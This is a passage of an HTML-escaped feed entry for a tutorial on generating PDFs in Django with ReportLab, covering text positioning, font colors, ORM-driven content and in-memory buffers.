style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Hello world in Spanish&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-fondo-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-fondo-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Text generated with reportlab&#34; width=&#34;1261&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Text created with reportlab&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This will draw our string&amp;hellip; at the bottom of the screen.&lt;/p&gt;&#xA;&lt;p&gt;Why in the background? You may think that canvas works with a Cartesian plane, we just told reportlab to draw the string in the 0,0 coordinates of the plane.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/coordenadas-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/coordenadas-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pdf thought as a Cartesian plane&#34; width=&#34;618&#34; height=&#34;568&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Reportlab behaves as a Cartesian plane&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;positioning-the-text-in-a-djangos-pdf&#34;&gt;Positioning the text in a Django&amp;rsquo;s PDF&lt;/h3&gt;&#xA;&lt;p&gt;Now that we know that the first argument is the X-axis separation value, while the second is the Y-axis separation, we will try something more natural.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-posicionado-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-posicionado-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Text positioned in a pdf&#34; width=&#34;1468&#34; height=&#34;951&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Text positioned according to the X and Y axes in reportlab&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;change-font-color-in-a-djangos-pdf&#34;&gt;Change font color in a Django&amp;rsquo;s PDF&lt;/h3&gt;&#xA;&lt;p&gt;To change the font color we use the setFillColorRGB method. We need to call this method before reportlab paints our string, otherwise it will use the active one.&lt;/p&gt;&#xA;&lt;p&gt;We pass the RGB value (a float from 0 to 1) that we want our text to have.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/text-color-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/text-color-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Text in color in pdf&#34; width=&#34;1352&#34; height=&#34;409&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Text in light blue&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;We already have a simple text, let&amp;rsquo;s save the content we generated and return it as a response.&lt;/p&gt;&#xA;&lt;h2 id=&#34;save-a-pdf-and-return-as-a-response&#34;&gt;Save a PDF and return as a response&lt;/h2&gt;&#xA;&lt;p&gt;Our instance of the canvas object received our response object as an argument, so the changes we just made were saved in the response object.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;showPage()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember that, as we are in django, we will have to add your view to the urls.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pdfVideogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdf&amp;#34;&lt;/span&gt;, pdfVideogame, name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdfVideogame&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;generate-pdf-dynamically-with-django&#34;&gt;Generate PDF dynamically with Django&lt;/h2&gt;&#xA;&lt;p&gt;Knowing this, we will be able to create a PDF directly by iterating over a database query using the django ORM.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Courier&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0.14&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.59&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.74&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Videojuegos&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Helvetica&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# We use Django&amp;#39;s ORM to query the database&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    videogames &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; videogames:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# We access the column name for each record&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, positionY, videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First we create a title with font and change to another one for dynamic information.&#xA;We simply use the django ORM to create any query we want and call the drawString method for each object in our query.&lt;/p&gt;&#xA;&lt;p&gt;Notice how I decrease the position of the Y coordinate, so that each iteration writes the text in a new line, otherwise each line would overlap with the next.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/pdf-dinamico-reportlab-django.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/pdf-dinamico-reportlab-django.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pdf generated with information from the database in Django&#34; width=&#34;1454&#34; height=&#34;845&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Pdf generated dynamically using Django&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;improve-performance-when-generating-pdf-in-django&#34;&gt;Improve performance when generating PDF in Django&lt;/h2&gt;&#xA;&lt;p&gt;If you have performance problems when handling complex PDFs, consider using Python&amp;rsquo;s io library, which allows you to work with an object that behaves exactly as if it were a file, but in memory.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; io &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BytesIO&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; BytesIO()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; canvas&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Canvas(buffer)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;showPage()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getvalue()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;close()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(pdf)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Instead of passing the response object to the Canvas method, we pass a binary buffer.&lt;/p&gt;&#xA;&lt;p&gt;At the end, after saving the changes in the pdf, we get the buffer value, close it and write it in the answer.&lt;/p&gt;&#xA;&lt;p&gt;I leave here the complete code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; HttpResponse(content_type&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;application/pdf&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Content-Disposition&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;attachment; filename=&amp;#34;hello.pdf&amp;#34;&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; BytesIO()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; canvas&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Canvas(buffer)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Courier&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0.14&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.59&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.74&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Videojuegos&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Helvetica&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    videogames &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; videogames:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, positionY, videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;showPage()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getvalue()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;close()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(pdf)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you know how to create a simple PDF that will be useful in most cases.&lt;/p&gt;&#xA;</content:encoded>
